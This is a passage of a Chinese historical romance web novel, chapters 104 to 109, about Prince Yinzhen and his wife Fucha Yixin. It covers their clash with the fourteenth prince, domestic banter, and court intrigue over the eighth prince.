仪欣颇为沮丧低下头,垂了垂湿漉漉的眼睛。 “那亲一小口吧。”胤禛抬起她微垂的脑袋,果然对上她狡黠的眉眼,他挑眉闭上眼睛,下一秒便遭到小土匪在唇上一顿乱啃。 苏培盛守在门衔处,见到门房前来禀报的小太监,说十三爷和十三福晋来了。 主子爷和福晋今日邀请十三爷十三福晋过府,苏培盛眼神示意小太监先伺候好客人,然后尽职尽责等着主子忙完。 仪欣再见到完颜氏的时候被惊艳了一瞬,笑盈盈挽过完颜氏的胳膊,夸赞说:“哇——你真的好漂亮。” 她第一眼就察觉到完颜氏改变许多,最明显的就是衣裳和那如温水般从容的气质。 “四嫂才是倾国倾城之貌。”完颜氏略有局促摸一下珍珠耳饰,轻声夸一句。 完颜氏穿着一身暖橘色云锦面料旗装,她眉眼很淡,素日她穿戴非常素静,若是在人群中显得灰扑扑的,如今她戴着一顶名贵珍珠头面,搭配鲜艳明媚的衣裳,精致而不喧嚣,反倒有种温婉知性的美感,很有特色。 仪欣手头上有几张糕点方子,兴致勃勃邀请完颜氏一同下厨。 她不擅长下厨,却很擅长品鉴,完颜氏做得一手好菜,平日里也会自己做糕点,故而两个人一拍即合一起研究。 胤禛温声叮嘱一句,“不可过于劳累。” “是!”仪欣欣然点头。 十三福晋见老十三也要开口叮嘱,抿唇对他点点头,又笑了笑。 第104章爷要在府中用晚膳 仪欣和完颜氏热火朝天做着糕点,胤禛和老十三便在书房喝茶。 “四哥,皇阿玛要给老十四京城附近的兵权吗?”老十三担忧问。 “不是,老十四估计过几个月要去川陕带兵了。”胤禛抿一口茶。 “……”老十三笑了。 “川陕总督是年羹尧,年羹尧如今背靠太子,哪里是好相与的?” 到时候天高皇帝远,老十四蜀地军中尚无威望,不必费心伤及性命,断胳膊断腿的意外,就能断了老十四的青云路。 胤禛说:“确实如此,若是再等几年,老十四未必不是一员猛将。” 只是现在,难说。 “皇阿玛和太子斗得越来越激进了。”老十三靠着椅背,皇阿玛就是子嗣太多,如今又正值壮年,再过两三年,又有一茬小的要出宫建府入朝堂。 “老十三,皇阿玛不给胤禵的,我要给你。” 老十三论武功和军中威望,不低老十四分毫,他曾在军中任职,又是有上过战场的武将,深得将士爱戴,被称为“侠王”。 老十四借助大闹乾清宫,替老八求情反而得了康熙的好感,老十三总是少一些关注。 老十三抬头,跟胤禛交换一个心照不宣的眼神。 他们之间,已无需多言。 本来要留老十三在雍亲王府用晚膳,谁知晚间老十四无事不登三宝殿,到了雍亲王府。 胤禛神情倦怠,不悦抿唇,怕老十三听到只言片语,两个人再动起手来,摆摆手只道改日再约。 完颜氏愉悦告别了仪欣,身后跟着的丫鬟提着满满当当一食盒糕点。 二门处,老十三胤祥见完颜氏来了,自然而然伸出手示意她牵着,便要一同离开。 完颜氏罕见愣神凝视着他温暖又有些薄茧的手掌,下一秒就被主动牵住了。 “和四嫂做得糕点好吃吗?”胤祥边走边问。 “很可口。”完颜氏声音很轻。 “你厨艺向来便好,又有四嫂珍藏的方子,爷都有点想尝尝了。”胤祥笑着说。 你厨艺向来便好。 你女红极好。 你给弯弯做得衣裳最精致。 你虽有些腼腆,但人情往来之事处处大方妥帖。 你穿素色衣裳很好看,但是,爷觉得你很白净,也适合橘红暖橘的衣裳。 完颜氏垂了垂眼,细枝末节的夸赞就这么在心间翻腾。 她是个极其拧巴的性子,别人的夸赞总觉得是客套,反倒总是将冷不丁的几句诋毁当作真相。 她有一种强烈的不配得感,人情往来格外大方,赠送别人名贵布匹药材,总是怕哪里疏忽,自己有喜欢的东西却总是节俭将就。 甚至,她不太习惯穿色彩明艳的衣裳,只是因为不想在人群中被看到,被关注。 但是,胤祥太容易夸赞了,他脾气很温和,又炽热大方,总是能孜孜不倦找到她犄角旮旯里的优点,毫不突兀说出夸奖的话。 他从来不提她的敏感和拧巴,就大大咧咧说,你和弯弯就得用最好的东西,爷觉得这个珍珠头面就是最适合你。 她跟十三爷,曾经成亲后有了弯弯都不甚熟悉、不交流的日子,自己回想起来就觉得很可笑。 “妾身做了许多糕点,爷尝尝。”刚上马车,完颜氏温柔打开食盒。 老十三拿起一块吃着,笑着说:“糕点只看品相就很不错,味道更是不辜负品相。” 完颜氏弯了弯唇,轻声说:“弯弯的拨浪鼓被她摔坏了,咱们顺路给她买一个新的吧。” “行啊,爷有点想吃炸虎头鸡,咱们自己去买吧。”胤祥跟她商量说。 “好,弯弯喜欢春意楼的鸡汁小饺和鸡茸蛋羹,带回府她会开心。” “你只说弯弯爱吃,那你呢?你爱吃什么也很重要。”胤祥自然而然递到完颜氏唇边一块白茶桂花糕。 “嗯…”完颜氏想了一会儿,弯了弯眼睛,轻声道:“豆腐皮包子。” 马车上流淌着温馨的气氛,轻言软语的商量声溢出马车帘,雍亲王府书房里气氛却颇为寡淡。 “四哥。”老十四别扭开口,“那晚是弟弟胡言乱语,还望四哥不要放在心上。” 额娘说的对,他和四哥毕竟是亲兄弟,四哥如今在朝堂上大权在握,反正不能宰了他,他倒不如亲近些,不然也是便宜了太子和老十三。 “你那晚说什么了?”胤禛唇边渐显讽刺笑意,桃花眼漫不经心看着老十四。 老十四以为他不记得那话了,还主动提醒,“就是…就是多尔衮…” 话音未落,“嘭——”得一声,胤禛砸了一个茶盏,老十四脚下一片茶渍。 老十四猛得站起身来,察觉到胤禛周身气息的阴鸷,膝盖一软却不曾折膝。 胤禛身后梨花架上,一摞孤本间挂着一柄长剑,他漫不经心抽出剑来,直指胤禵,“本王有没有说过,你再有这种心思,便活剐了你?” “四哥!我没有!” “滚开!让本福晋进去!”仪欣的声音在书房外娇锐响起。 仪欣来前院送糕点,本来打算在偏殿等胤禵离开再进来,谁知听到争吵声和摔打声。 苏培盛苦涩哈腰,一个劲说好话。 仪欣气恼咬牙,“你再敢拦我,我就砸了这。” 胤禛无奈笑了笑,扔了长剑,淡淡看着胤禵,朗声说:“让福晋进来。” 胤禵有些局促,坐回椅子上。 他跟四哥向来不对付,三言两句都合不拢,要不是额娘叮嘱,他不愿意来。 仪欣被晴云扶着怒气冲冲走进来,看到一片狼藉的碎瓷茶盏,红了眼眶,挡在胤禛身前,“十四阿哥又给王爷找不痛快干什么?” 老十四眼睛比仪欣还红。 “爷找不痛快?他都要砍了我了,这是我找不痛快?你能不能擦亮你的眼睛啊?那么长的剑你看不到吗?啊?” 胤禛及时薅住仪欣,把她塞到自己身后,仪欣躁动得不行,抄起砚台来就砸向胤禵。 “你不欺负王爷,王爷怎么可能砍你?!” “你…你砸我!”胤禵吼一句,踱步两圈不知道自己来干什么。 胤禛闭了闭眼,哭笑不得回头吻一下她的脑袋,“冷静点,小乖。” 她力气不大,没砸到胤禵,反而甩了自己一身墨痕,殃及池鱼,他的身上也黑乎乎一片。 胤禵冷静不下来了,他忍不住,他就是忍不住,老四故意的,他就是故意的! 胤禛冷瞥一眼胤禵,扯唇笑笑:“你可以滚了。” “爷要在府中用晚膳!”胤禵理直气壮。 第105章吃鸡。 仪欣茫然张了张口,反应过来他说了什么厚颜无耻的话之后,顺手抄起梨木架的佛经就砸了过去。 “凭什么留你用晚膳?”仪欣怒嗔一句。 “就凭爷和四哥是亲兄弟,打断骨头连着筋。”老十四更理直气壮了,大言不惭看向胤禛,“四哥,你府上前阵子是不是打马吊牌来着,我当时禁足出不来,我今晚也要玩。” 听到禁足,仪欣气得脑袋嗡嗡响,她挡到胤禛身前,他还有脸提禁足的事情,“你装什么!现在又想起来打断骨头连着筋的事情了吗?皇阿玛真是抬举得你,惯得你不知道姓什么了!” 胤禛好整以暇看着把他护在身后的仪欣。 默不作声给她递一本佛经,下一秒佛经就被仪欣砸了出去。 “皇阿玛”三个字一出,老十四讽刺垂了垂眼,再抬头又是天不怕地不怕的模样,好心情耸了耸肩,继续逗弄富察仪欣。 “嗯,皇阿玛就是疼爷,怎么样呢?额娘也疼爷,怎么样呢?小爷也很苦恼,要不四嫂给爷出出主意,怎么才能摆脱皇阿玛的疼爱?” 他就是想跟她多待一会儿,这么多天,皇阿玛抬举他,他慢慢也清楚皇阿玛是什么意思,不就是去川陕带兵吗。 他一个大男人不怵头生死之事,他愿意赌一把,但是想到可能再也见不到富察仪欣,他就觉得不痛快。 胤禛温言眸色漆黑,仪欣却听不出老十四的弦外之音,只觉得他这副德行格外气人。 她指尖颤抖指向老十四,余光看到桌案上出鞘的剑戟,双手拿起长剑,目光沉沉看着老十四。 他们只相隔两步远。 她生气了,可面前的男人从小到大没有直视过她的愤怒,她这时候只是为了自己生气,她需要一次次声明她的愤怒,表达从小到大在胤禵身上尝过的愤怒。 胤禛尚且被她的动作吓得心一沉,长剑在她的手上格外摇摇欲坠,她剑都拿不稳能砍死谁,“富察仪欣,慢慢把剑放下。” 老十四看着她的动作退了两步,想夺过她的剑,又觉得八成会伤了她。 他惨淡笑着退了两步,随意挥了挥手离开雍亲王府,他巴不得死在富察仪欣手上,好歹死得明白。 待到王府没了闲杂人等,仪欣赶紧回头拉上胤禛的衣袖,生怕拉晚了他就要生气了。 胤禛面上看不出什么,仪欣转身想抱抱他的腰,他反而去捡了佛经,她没有抱到。 长本事了,开刃的长剑都敢扛起来砍人。 肯定是富察马齐教的。 他也有错,是他的问题,他没有把剑收起来,反而放在了她能拿到的位置。 她可真是勇敢,不愧是出身骁勇善战的富察氏。 真、不、辱、没、门、风。 胤禛想着,温和浅笑。 “王爷!咱们晚膳吃什么?”仪欣察言观色后谄媚的没话找话。 “吃、鸡。” 胤禛淡淡弯了弯唇,右手提着长剑,左手牵着仪欣,不紧不慢往后院小厨房走。 仪欣紧张兮兮看一眼泛着寒光的剑,鹌鹑似的缩了缩脖子,“王爷,要不换一个吃的吧,我吃面也行。” 胤禛温柔替她裹了裹披风,手里长剑握得紧了紧,耐心亲了亲她的额头,解释说:“本王今晚格外想吃,额外给你煮面。” 小厨房的下人看到雍亲王提着剑来的,吓得恭敬跪下行礼。 “府上还有活鸡吗?本王亲自下厨。”胤禛温和客气跟下人询问。 “有有有,王爷,您…您要几只呢?奴才给您打下手吧。”厨子赶紧迎上来附和。 他怎么无端感觉到王爷身上一股杀气呢? 王爷刚刚问的是活鸡吗?不是活人吧? “都要。”胤禛温和道。 苏培盛赶忙为仪欣搬一把座椅,安置在小厨房院中,心里一阵阵苦笑,王爷这是生了大气了。 他刚刚派人整理书房,发现王爷几本珍爱的佛经都毁掉了,王爷都不曾说什么,反而主动递过去给福晋扔。 但是,福晋拿起剑,王爷周身气场都变了。 他自幼跟着王爷,最怕王爷不动声色生气的时候,他明明是温和笑着,却让人想跪下。 小厮连笼子带鸡提过来五只活鸡。 胤禛唇边挂着笑意,温和看着仪欣,遗憾说:“本王也是第一次宰鸡,仪欣躲远些吧。” 仪欣讪讪笑,吞咽一下口水,“王爷,别伤到你,交给厨子去做吧。” 胤禛垂眸笑了笑,“本王不会杀鸡,但是会用剑,伤不到。” 他会用剑。 阴阳怪气的四个字。 话音刚落,胤禛提起一只鸡,手起刀落便溅出汩汩的鸡血,放完鸡血后,他提着鸡的脚,泡到烧好的开水里,又去拿另一只鸡,眸色淡淡,继续熟练的提剑放血。 宰杀完五只鸡,苏培盛亲自蹲在开水灶旁给鸡拔毛,妥善之后恭敬端着给王爷。 胤禛熟练给烫毛后的鸡开膛破肚,剜出肾脏,全程没有动一下菜刀,一直用那柄长剑。 仪欣幻视自己应该是王爷手里提着的小鸡仔,王爷肯定是生气了,她又担忧胤禛万一被剑砍了怎么办,故而目不转睛盯着他。 呜呜呜王爷生气了,怎么哄怎么哄? 呜呜呜呜王爷杀鸡也这么好看,这么熟练,王爷真是做什么都有天赋。 胤禛余光一直关注着仪欣的神态,怕她吓着,又怕她胆子太大什么都敢做。 就见她一会儿害怕纠结,一会儿又崇拜到眼睛亮晶晶的。 “……” 胤禛无言,沉默将杀掉的鸡交给苏培盛去处理,又要了几只兔子。 仪欣一点点凑过来,胤禛察觉到她的动作,怕伤到她,反手将长剑扔的远远的。 “王爷,我知道你有点生气,那咱们回寝殿解决一下吧。”仪欣娇媚压低的声音在喉咙里溢出来。 “嗯。” 胤禛在铜盆中净手,他冷白的手上浸着都是鸡血,一会儿水就染红了。 苏培盛知道王爷不喜血腥气和脏污,又换了两次水,才算完。 仪欣路上偏要黏黏糊糊挽着胤禛的胳膊,她不黏着他不踏实,恨不得挂在他身上。 胤禛无奈弯腰把人抱起来,看到她笑靥如花的脸在他的颈窝间拱了拱。 第106章小礼物。 胤禛先行沐浴更衣,仪欣在寝殿来来回回溜达。 见胤禛穿着寝衣披着外袍走进来,仪欣视死如归冲上去抱住他的腰。 “唔……”胤禛猝不及防痛呼一下。 胤禛被她撞的胸膛一疼,连忙揉了揉她的脑门,果然是红了一块,曲着腿把她抱起来。 小牛犊子似的,有的是力气,胤禛心中轻哼一声,没有用力掐了掐她的脸。 仪欣退出他的怀里,笔直站在寝殿直勾勾仰头看着他。 “怎么了?”胤禛耐心引导着问。 “错了。” “谁错了?” “富察仪欣。”仪欣指了指自己。 如果王爷直接跟她说,不让她拿剑,她会不以为然,毕竟她又没伤到。 可是,刚刚王爷握着剑杀鸡,她揪心得不得了,生怕他伤到他自己,她现在是诚恳认错的。 胤禛垂了垂眼睛,轻轻“嗯”一声。 他发现了,单纯吓唬她不管用,只有拿他自己做筹码,她才会上心,才会真的觉得危险。 “王爷快原谅我吧。”仪欣漂亮的眼睛直勾勾望着他。 “要是不原谅呢?”胤禛盘腿坐到软榻上。 仪欣倏地就蹲下了,臂弯圈着自己的脑袋,委屈巴巴开口说:“那王爷揍妾身一顿吧,打小手板吧,反正也是妾身错了,妾身认罚,王爷千万不要气坏了自己,不然妾身就会心疼。” “……” 巧言令色。 胤禛垂眸勾唇,深深叹口气说:“那好吧,仪欣自己把戒尺拿过来吧。” 仪欣倏地抬起脑袋来,站起来原地转了两圈,呆呆愣愣不知要做什么。 不是,真的要打吗?哪有戒尺啊? 胤禛斜倚软榻,手里佛经随意敲了敲膝盖,百无聊赖指了指寝殿泥陶下面的抽屉。 仪欣吞吞吐吐蹭过去,大惊失色,竟然有一大把戒尺?! “王爷,你…你你你打人疼吗?”仪欣磕磕巴巴,老实递过去一根看起来打人不疼的戒尺。 话说都说了,总不能再咽下去吧。 “不知道,没打过,仪欣试试吧。”胤禛无可奈何,戒尺随意在自己手心拍了两下,试了试力度。 仪欣的脑袋随着戒尺上上下下,紧张得闭着眼伸出手去。 她喘气都轻了,心跳得特别快,十四阿哥还好吗,能不能让他先挨揍,她折腾这一顿怎么好像很狼狈,他怎么美滋滋走了。 打吧打吧打吧。 轻点轻点轻点。 消气后赶紧扎到王爷怀里,还要亲一会儿,必须得吃个乳酪冰碗。 胤禛看着仪欣脸上精彩的心理活动,忍俊不禁弯唇,掂量着戒尺。 半晌,他心中痒痒的轻叹一声,将骨节分明的手慢慢搭在仪欣温软的手心里。 反正再生气也不舍得碰一根手指头。 仪欣以为的疾风骤雨没有如约而至,手心里降临了这个世界上最珍贵的小礼物。 “王爷,你真是我的小礼物。” 仪欣弯了弯眼睛,美滋滋晃了晃胤禛的手,软糯纤细的手藤蔓般缠上他的大手,与他十指相扣。 “哦,那仪欣可别哪天把小礼物气死了。”胤禛别扭睨她一眼,指腹蹭了蹭她的手背。 … 照春芳。 仪欣趴在矮案上拄着头,说完昨日之事,眼巴巴看向姚虞。 姚虞轻叹:“你……” 四爷可以动手教训十四阿哥,可是,在皇阿玛眼里,再尊贵的亲王福晋,都比不上他的儿子重要。 更何况,姚虞又看一眼仪欣纤细的手腕,她向来病弱,不曾拉弓学剑,根本伤不了十四阿哥,反而很容易就会自己见了血。 “姚虞姐姐,从小到大,我在胤禵那里吃了太多亏了,九岁那年,我被他吓得高烧不退,亲近的贴身丫鬟因他送到庄子上;后来,他拽过我头上的发簪,抢过我喜欢的话本子,拦过我的马车……还有好多好多事…” “去岁,王爷为他挡了一剑,后面在别庄又被他打成重伤,昨日他又吊儿郎当挑衅我,我真的真的没有别的办法表达我的愤怒了。” 仪欣本来没什么事,跟姚虞翻起旧账来就恼得想哭,她的眼睛通红,垂着眼像是柔软的柳叶嫩芽,趴在桌案上,脊背微微起伏,哽咽声不绝如缕。 “不哭不哭,我陪仪欣逛街吧,用膳也可以,做点心也可以,好吗?” “不好,姚虞姐姐,我只想哭。”仪欣抬头瘪了瘪嘴,发现忍不住,又埋下脑袋继续哭。 姚虞把她抱紧些,烦躁闭了闭眼,胤禵那个蠢货,跟胤禩一个德行,被他喜欢的人,真是倒了血霉了。 她早就知道老十四的心事。 她知道老十四多次拜托老十给仪欣送宫中的簪钗首饰,跟德妃明里暗里讨要名贵赏赐,攒着做聘礼。 她也知道老十四大雪天钻到树林里蹲守一天一夜,给仪欣猎雪狐做大氅; 她还知道胤禩在动了纳仪欣为侧福晋的心思之后,老十四跟胤禩在书房动了手。 但是,她不会告诉仪欣,因为,仪欣在老十四身上感觉到的都是荒唐的冒犯,仪欣不缺这种乱七八糟的喜欢。 姚虞担忧问一句:“四爷对你有没有发脾气?” 仪欣愣一下,止住了哭声,“没有啊,他从来不对我发脾气。” “那不哭了,老十四真不是什么好东西!”姚虞一拍桌案,恶狠狠骂一句。 “对!”仪欣猛猛点头,继续握着帕子哭得梨花带雨。 “什么???” “谁????” 两道男人的声音在包厢门口处传来。 “阿玛,三哥。”仪欣惊喜抬眼,站起身来雀跃走到马齐身前。 “出什么事了?”傅辙面露不虞,赶紧问仪欣。 “不哭了,先跟阿玛回家。”马齐沉声说。 “啊?我和姚虞姐姐约着听戏逛街,为什么要跟阿玛回家?”仪欣一愣。 “是不是雍亲王给你委屈受了?”马齐担忧问。 他本来乐呵呵下朝偶遇闺女,想跟闺女用个早膳便去当差,听见闺女的哭声,还呵斥什么四阿哥不是好东西。 “没有啊。”仪欣摇摇头,复盘一下,就连昨日十四阿哥都没在她手上讨到好,她哪里受委屈了。 姚虞含笑解释一句:“马齐大人,只是误会。” 仪欣弯了弯眼睛点点头,突然看到照春芳包厢的铜镜,她凑近欣赏一下自己哭过之后的美貌,惊叹一声:“阿玛,我哭过之后,眼睛看起来很漂亮欸。” 傅辙:“……” 马齐:“……” 他可能真是误会了。 没过两刻钟,傅文裹着披风阔步走进包厢,一副温和面庞上有些复杂的情绪,他看向仪欣,又跟马齐对视一眼。 “乾清宫传出风声,四爷怕是要改玉碟,记在孝懿皇后名下了。” 第107章胤禩 傅文刚一进来,姚虞早早示意要先出去更衣,将空间就给仪欣和她的阿玛兄长。 傅文轻声说:“四爷递出来的消息,万岁爷今日表露想法,怕是马上便会询问阿玛和其他重臣的意见了。” 仪欣揉了揉眼睛,眸含喜色看向傅文,“那可真好。” 王爷终于不用给十四阿哥当亲哥哥了,皇阿玛总算是偏疼王爷一次,要不说还是皇阿玛有眼光,若是没什么事,她家王爷就收拾收拾做嫡子去了。 马齐看着仪欣娇憨明媚的模样,慈爱弯了弯唇,“福晋和八福晋叙话吧,老夫也该去当差了。” 木秀于林,风必摧之。 马齐刚出包厢门便淡了神色,颇为严肃阔步离开照春芳。 傅文和傅辙跟在马齐身后,傅文温文儒雅,傅辙肆意风流,三人均是一派气定神闲不露声色的模样。 傅文扶着马齐上马车时轻声解释道:“阿玛,雍亲王心中有数。” 马齐松缓些神色,又冷哼看向浅笑狐狸面的傅文,“别以为老夫不知道你跟着四爷在折腾什么。” 傅文温和低头笑了笑,随之上了马车。 马齐方正端坐着,双手自然搭在膝上,在马车的摇摇晃晃声中沉声开口,“若有解决不了的事情,只管找阿玛。” “欸,儿子省得。”傅文温声道。 照春芳。 仪欣喜意未褪,自然也哭不出来了,美滋滋坐在包厢看戏折子。 姚虞款款进来,觉得她可爱,笑着给她剥了几颗坚果。 姚虞和仪欣默契不提朝堂上的事情,老八和胤禛的党争并不是什么秘密,可这不耽误她们坦荡交好。 姚虞撂下坚果,绢帕轻轻拭了拭指尖碎屑,疏朗笑着说,“今日这戏折子不错,好久没有听戏了。” “对啊,好久没听戏了,姐姐腿养好了吗?”仪欣轻轻叹口气。 姚虞在甘露寺佛前跪坐三日,虔心求子,回来却病了一场,一连许多日不能出门。 许久不曾等到姚虞的回音,仪欣目光从戏台子上转向姚虞,却见姚虞朱唇紧抿。 “姚虞,你怎么出府了呢?腿还疼不疼?”老八胤禩大步走进来,俯身温柔问姚虞。 胤禩周身气质又变了很多,他从前平日里惯爱青色低调衣裳,后来失权为收心逐爱,惯爱穿姚虞喜欢的深蓝浅紫衣裳,如今却是阴鸷的黑色,像是在墨池里生出来的枯莲。 “四嫂。”胤禩又温声跟仪欣问好。 他语气温和,仪欣却莫名感觉湿冷冷的。 姚虞淡了神色,轻声说:“多谢贝勒爷挂怀,已然大好了。” 胤禩垂眸看着姚虞的膝盖,握住她的手,轻声说:“孩子不值得你为他伤害身子,咱们可以不要了,好不好?” 姚虞:“贝勒爷,有什么事晚上回去说。” “现在可以回去吗?”胤禩小声问,“我见不到你会不踏实。” “不行,你先回去。”姚虞语气已然有些淡了。 “姚虞,你是不是只想要个孩子,不想要我了,对不对?”胤禩垂着眼,一副湿漉漉的模样,又固执问道,“对不对?” 他开始还觉得有个孩子,他和姚虞之间便有希望;结果,他惊觉她只是想要个孩子。 想要一个她的孩子,而不是和他的孩子。 他如今算是彻底一无所有,姚虞有了孩子便不会需要他了,不可以这样。 仪欣瞠目结舌,煞有介事慌忙端起一盏茶,她和姚虞只隔一个小座桌,台上伶人唱戏声,声声入耳,可不耽误胤禩委屈巴巴的话丝丝缕缕往她耳朵里钻。 “胤禩。”姚虞声音清冷,凤眸微扫,警告般唤一句胤禩的名字,胤禩当即噤声。 他拉过来一把椅子,安稳坐到姚虞身边,垂眸给她剥瓜子,若是三言两语说话,也是用极小的声音。 仅坐了一会儿,来了个小太监,胤禩垂着眼将手中攒的瓜子仁轻轻掸到姚虞手边的小碟子里,悄声离开了。 仪欣眼波微转,暗戳戳给姚虞剥了好几个坚果,又替她将茶盏斟满。 姚虞挑眉咯咯笑,“多谢四嫂了。” “哎呀,姚虞姐姐,你快别逗我了,你和八爷之间怎么越来越怪怪的?”仪欣八卦问。 姚虞戴着护甲的手指蹭了蹭发髻,挑眉轻笑,脑袋微偏靠近仪欣。 仪欣主动偏脑袋,把小耳朵凑过去。 * 暮色四合。 胤禛在前院书房处理政事,看康熙给他写的回信。 昨日老十四离开之后,胤禛杀了五只鸡,又将仪欣哄得睡着了,便在连夜给康熙写信。 大致意思就是,皇阿玛若是不想要儿臣就直接说吧,老十四如今都踩到儿臣头上来撒野了,他和额娘逼着儿臣在朝堂上为他谋利益。 儿臣只想为大清鞠躬尽瘁死而后已,如今那些兄友弟恭和母慈子孝的枷锁一层层束缚着儿臣。 儿臣也是没办法了,反正皇阿玛也更喜爱老十四,儿臣这亲王之位不如就让给老十四坐吧。 胤禛极少情绪外露,从未跟康熙求过什么,这次洋洋洒洒情绪激动,康熙自然重视。 他没有选择递折子,反而是选择写信这种更亲近的沟通方式,没想到今日便收到了康熙的回信。 康熙写了两大篇回信来安慰胤禛。 “吾儿,阿玛总归还是更疼爱你的,老十四的始末你亦清楚,朕不会让他爬到你头上,你勿要多思多虑。” 胤禛垂眸,握着佛珠蹭了蹭信纸,视线凝视在“年末当修玉碟,吾儿得偿所愿”几个字上,他漆黑的眸里似乎氤氲着惊涛骇浪。 “嘭——”一声巨响。 胤禛攥紧信纸,阔步往内室走,沉声开口:“富察仪欣?” “王爷,这屏风自己倒了。”仪欣愣在屏风前,大声对着外面喊,“你快过来。” 屏风自己倒了? 胤禛走到内室眼前一黑。 她又拆家。 她本来坐在书桌前面练字,隔着一架镂花屏风,如今屏风乱七八糟砸在地上,屏风上还晕染了一片墨,她眼巴巴站在桌前看着他,左手握着绢帕右手拿着的羊毫笔还在滴墨。 “王爷,它倒了。”仪欣柳眉微蹙,颇为拘谨站在一地狼藉里。 “没事,你伤到没有?”胤禛赶紧牵着她坐到美人榻上。 “没有,我刚刚给姚虞姐姐写信,但是有点激动,那个墨就甩到屏风上了,我就擦了一下。” “然后就倒了?”胤禛闷闷笑。 第108章如果是本王呢 苏培盛带着两个小太监想将屏风扶起来,结果扶到一半,屏风稀里哗啦散架了。 小太监都目瞪口呆局促极了,赶紧跪下磕头。 “王爷,奴才知错。” “奴才知错。” 胤禛无奈看一眼仪欣,淡淡开口:“无碍,本王记得库房里还有鸳鸯戏水楠木镂花屏风,换上吧。” 忽视一地狼藉,胤禛牵着仪欣走到外面书房,温声叮嘱:“好了,等着本王处理剩下的公务,陪你一起回去睡觉,可以吗?” “可以。”仪欣乖巧坐在胤禛旁边,哼哧哼哧整理一下旗装裙摆,“王爷,把砚台往我这边推一下,我要继续写信了。” 胤禛瞥她一眼,轻哼一声,捏着墨条磨了几下,羊毫笔后端给她推了推砚台。 “谢谢王爷。”仪欣甜腻开口,弯了弯眼睛。 “嗯。”胤禛弯唇,“小心点,别把砚台摔了。” “放心吧,王爷。”仪欣乖巧应答。 烛火摇曳,胤禛和仪欣的影子温柔的印在暖光色宣纸上,落笔间是春蚕吐丝般的沙沙声,他们的影子轻轻搭在一起,随着呼吸轻轻波动。 仪欣发髻上流苏的影子调皮地落在他的书卷上,像是造访窗沿的小雀儿,胤禛唇边笑意无声散开,指腹轻轻捻了捻书页,微微侧目看着她的侧脸。 过着有她在的生活,他觉得好知足。 仪欣倏地扭头,狡黠碰撞到胤禛的目光。 胤禛有些别扭垂下眼,下一秒唇角便被她的馨香印了个戳。 “王爷,好巧啊,我想亲你的时候,你正在看我欸。”仪欣凑过来身子亲了又亲。 “嗯,很巧。” 胤禛伸手握住她座椅的把手,不让她的腰硌得不舒服,微微探了探身子,随即又被猛烈亲了一口。 “好了,可以了。”胤禛无可奈何,扶正她的身子,温声问,“你今日不是才和八福晋见了面吗,怎么还要写信?” 他发现,她给谁写信都是满满一沓都是字,不光对他如此。 胤禛唇角落下。 “哦,我和姚虞姐姐还有别的话要说。”仪欣重新蘸了蘸墨。 “是城南施善的事吗?郭络罗氏是不是想在祖籍奉天再设酥阁,广行布施?”胤禛不经意问。 仪欣目瞪口呆,缓缓放下毛笔,脱口而出说:“王爷,你…你偷看我信了吗?” 胤禛立即起身,拿着书卷和信函往矮案那边走,“福晋信不着本王,本王自己坐远点。” 他用得着偷看她的信?那郭络罗氏的想法又不难猜,这阵子老八还国库欠款,他派人盯着,偶然发现郭络罗氏往奉天转移了大部分的嫁妆。 郭络罗氏在给她自己找的退路八成在奉天,若是想名正言顺摆脱老八,只能借施善之事。 有什么难猜的?他还用得着看她的信? 小没良心的。 刚刚还在一个劲亲他,下一秒说话就能噎死人。 别亲了。 不许亲了。 明天就给她扔出书房,她随便去哪里,爱给谁就给谁写信。 今晚夜深露重,先让她在这里认真写,就不扔她了。 胤禛胸膛微微起伏,斜卧在矮案前,一只手握着书卷,垂着眼睛面无表情,幽蓝色蟒袍的边角不羁扫落在地,腕间佛珠松松垮垮挂着,忍不住的一遍遍拨弄。 “嘿嘿嘿,王爷…你生气啦?”仪欣乖巧凑到胤禛身边,把他拨弄过去的佛珠又捣乱拨回去。 “没有,福晋写信去吧。”胤禛握住佛珠,不让她碰。 “可是我想挨着王爷坐着。”仪欣勾住他的衣角,撒娇晃了晃。 “本王不想。” “那我偏要挨着。” 仪欣蹭到他的怀里,挤着坐到矮案前,乖巧将胳膊板板正正搭在矮案上,仰头冲着胤禛笑,仿佛在说,我都坐好了。 “不挤吗?”胤禛冷哼,往后靠了靠。 “王爷,我很小一块,占得地方也小,让我跟你一起坐吧。”仪欣谄媚眼巴巴看着胤禛,笑靥如花又往他身边挤了挤,“跟王爷坐在一起,空气都是香香的。” 小狗腿子。 真是当奸臣的料。 胤禛单手抱起她,轻哼一声,又亲了亲,道,“好了,坐到桌案前,认真写。” “王爷,我今天答应姚虞姐姐,那个奉天施善的事情要保密,不是故意怀疑你的。你也要保守秘密,可以吗?” “嗯。”胤禛替她磨墨,推了推砚台。 “王爷,你怎么知道此事的?” “偶然听说的。”胤禛抿唇,补充一句,“你若是想知道什么事,就直接来问本王。” 省得整日在郭络罗氏那里听八卦,乱七八糟真真假假一大堆。 “欸?王爷,我还真的有事要问你!”仪欣一拍桌案,懊恼自己才想起来。 胤禛弯唇,含笑睨她一眼,道:“说吧,什么事?” “王爷,姚虞姐姐说她了解八爷,同时掌管八贝勒府中馈多年,她清楚八爷没拿那四百万两白银,姚虞姐姐说是有人算计八贝勒,你知不知道是谁呀?” 仪欣真诚又期待看向胤禛,万一王爷真的知道呢? 胤禛唇角弧度绷直。 他闭了闭眼,看着她稚嫩而真诚的脸,又微微勾唇,冷不丁开口:“如果是本王呢?” “啊?”仪欣笑眯眯摆摆手,“王爷,你不知道就说不知道啦。” 王爷本性正直,定是不知始末,但又不想她失望,竟是随口认下这种事。八爷恶人自有恶人磨,姚虞姐姐都袖手旁观,她也不用太操心了。 “好吧,本王不知道。”胤禛无辜地说。 过一会儿,胤禛阔步走出书房,眸色漆黑站在庭院里。 他从前穿行过大风大浪,却平静的像是下雨淋湿了衣襟,他性格里最宝贵的东西便是从容不迫,不慌不忙,运筹帷幄,但是,刚刚对上她的眼睛,他沉默后不想说谎。 结果,她不信。 她竟然不信。 她哪怕再问一句呢? 在她的心里,他是多么光风霁月清白坦荡的人? 她年纪小,从最开始,她喜欢的,大抵就是这样的他吧。 仪欣能不能来当一天他呢? 体会一下他无尽的焦虑和权力迷人眼的大雾间穿行的窒息感,摸清他每一滴咽下去的眼泪的来龙去脉,理解他恰到好处的笑和装模作样的悲伤。 算了,舍不得。 那是什么鬼日子,她怎么能过? 能不能爱他,连同爱他那一抔薄情冷血的枯魂。 第109章爱你的每一面 他和仪欣之间的关系正处在一个门槛上。 她喜欢他,像是喜欢清风明月,她觉得他纯粹美好,能带给她新鲜的体验,而他又是她的夫君,她顺理成章的喜欢他。 